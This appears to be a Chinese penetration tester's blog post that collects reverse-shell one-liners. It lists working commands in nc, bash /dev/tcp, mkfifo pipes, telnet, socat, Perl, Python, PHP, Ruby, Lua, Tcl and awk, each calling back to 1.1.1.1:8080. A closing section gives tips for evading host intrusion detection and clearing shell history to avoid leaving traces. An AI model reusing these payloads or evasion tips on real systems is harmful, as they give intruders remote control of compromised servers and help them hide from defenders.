通常,在做渗透的时候会“运气好”,碰到某些应用上存在远程命令执行漏洞,近来由于java反序列化和二进制类漏洞的层出不穷,也加持着这种漏洞越发增多。
一般来说,靠谱点的公司都不会将应用服务器直接对外,而是通过代理转发或映射等方式对外,当可以执行命令的服务器能够访问公网(这个要看具体情况,比如需要加载公网资源或者其他需求)时,反连技巧就会派上用场。
这里我整理了下之前实际使用过的反连手法,纯属总结。
反弹技巧总结
1、NC反弹
- Nc 1.1.1.1 8080 -e /bin/bash
2、Bash-socket反弹
- /bin/bash -i > /dev/tcp/1.1.1.1/8080 0<&1 2>&1
3、Shell-socket反弹
- a) exec 2>&0;0<&196;
- exec 196<>/dev/tcp/1.1.1.1/8080;
- sh <&196 >&196 2>&196
- b) exec 5<>/dev/tcp/1.1.1.1/8080
- cat <&5 | while read line; do $line 2>&5 >&5; done[分两句执行]
4、文件管道-nc/telnet反弹
- a) rm /tmp/f;mkfifo /tmp/f;
- cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 8080 >/tmp/f
- b) rm /tmp/backpipe;
- mknod /tmp/backpipe p;/bin/bash 0</tmp/backpipe | nc 1.1.1.1 8080 1>/tmp/backpipe
- c) rm /tmp/backpipe;
- mknod /tmp/backpipe p && telnet 1.1.1.1 8080 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe
5、Bash-telnet反弹
- telnet 1.1.1.1 8080 | /bin/bash | telnet 1.1.1.1 9090 [另一个端口]
6、Socat反弹
- socat tcp-connect:1.1.1.1:8080 exec:"bash -li",pty,stderr,setsid,sigint,sane
7、脚本反弹
- a) Perl反弹
- 1) perl -e 'use Socket;$i="1.1.1.1";$p=8080;
- socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
- if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
- open(STDOUT,">&S");open(STDERR,">&S");
- exec("/bin/sh -i");};'
- 2) perl -MIO -e '$p=fork;
- exit,if($p);
- $c=new IO::Socket::INET(PeerAddr,"1.1.1.1:8080");
- STDIN->fdopen($c,r);
- $~->fdopen($c,w);system$_ while<>;'
- b) Python反弹
- python -c 'import socket,subprocess,os;
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
- s.connect(("1.1.1.1",8080));
- os.dup2(s.fileno(),0);
- os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
- p=subprocess.call(["/bin/sh","-i"]);'
- c) PHP反弹
- php -r '$sock=fsockopen("1.1.1.1",8080);
- exec("/bin/sh -i <&3 >&3 2>&3");'
- d) ruby反弹
- ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",8080).to_i;
- exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
- 2) ruby -rsocket -e 'exit if fork;
- c=TCPSocket.new("1.1.1.1","8080");
- while(cmd=c.gets);
- IO.popen(cmd,"r")
- {|io|c.print io.read}end'
- e) lua反弹
- lua -e "require('socket');
- require('os');
- t=socket.tcp();
- t:connect('1.1.1.1','8080');
- os.execute('/bin/sh -i <&3 >&3 2>&3');"
- f) tcl反弹
- echo 'set s [socket 1.1.1.1 8080];
- while 42 { puts -nonewline $s "shell>";
- flush $s;
- gets $s c;
- set e "exec $c";
- if {![catch {set r [eval $e]} err]}
- { puts $s $r };
- flush $s; };
- close $s;' | tclsh
- g) awk反弹
- awk 'BEGIN {s = "/inet/tcp/0/1.1.1.1/8080";
- while(42) { do{ printf "shell>" |& s;
- s |& getline c;
- if(c){ while ((c |& getline) > 0) print $0 |& s;
- close(c); } }
- while(c != "exit")
- close(s); }}' /dev/null
8、二进制程序反弹
Socket程序+命令执行,详见metasploit。
以上仅是个人在渗透中使用过的反弹技巧。
杂谈
市面上反弹shell的脚本和程序非常多,拿metasploit来说,可以生产上百种shell,但解码以后无非以上几种,有趣的时候metasploit生成的无论是脚本反弹程序还是二进制反弹程序多数都是自己实现了system_call,而不是调用系统bash或命令之类,看来做的还是很良心的。
值得一提的是,由于大型甲方公司都会有HIDS防护,目前已知的HIDS,要么修改了bash,要么劫持glibc,要么修改系统底层(这种可能性较低,出问题的几率大)。
当你觉得可以反弹shell的时候一定要提前识别好环境,不然执行了一个bash –i 或nc ,很有可能直接被hids一波带走。
比较推荐使用shell内置反弹或脚本类的反弹shell程序,一般的hids不会记录,非常不建议调用系统bash命令产生反弹,起码.bash_history会妥妥把你出卖掉。
内网shell反弹无论在渗透还是在反渗透中都是一个绕过不开的话题,关于反弹shell,其中有几个有趣的问题:
1. 反弹shell的理解:
内网shell反弹的本质是与公网服务器建立连接,并能将公网服务器传输过来的命令执行,并将结果返回,因此反弹shell涉及两个过程网络建立+命令执行,这两个过程都是衡量反弹功能的标准,网络建立要求复杂加密(如msf: meterpreter_reverse_https等),命令执行则要求尽可能绕开hids和相关记录。
2.交互式shell:
交互式shell是shell最常见的一种,交互式shell区别非交互式shell***的就是加载了环境变量,交互式shell的使用和在终端terminal中几乎一致。一般来说,远程命令执行反弹出来仅仅是实现了一个非交互式shell。从非交互式shell升级到交互式shell,一个最简单的方式就是用python脚本 pty.spawn(“/bin/bash”)
3. 交互式shell在实际渗透过程中未必比非交互式shell好,因为有经验的甲方都会对环境变量、shell终端加载文件如.bashrc、bash_profile等进行安全处理,直接提升到交互式shell,触发HIDS告警的可能性较高(当然并非绝对)。
(Ps:如果你使用别人的工具,反弹了shell,却不清楚是不是交互式shell,一个简单的方法就是执行history和set命令,如果都有正常返回,那你就要当心了,你可能获取了一个交互式shell,尽快清除history吧。)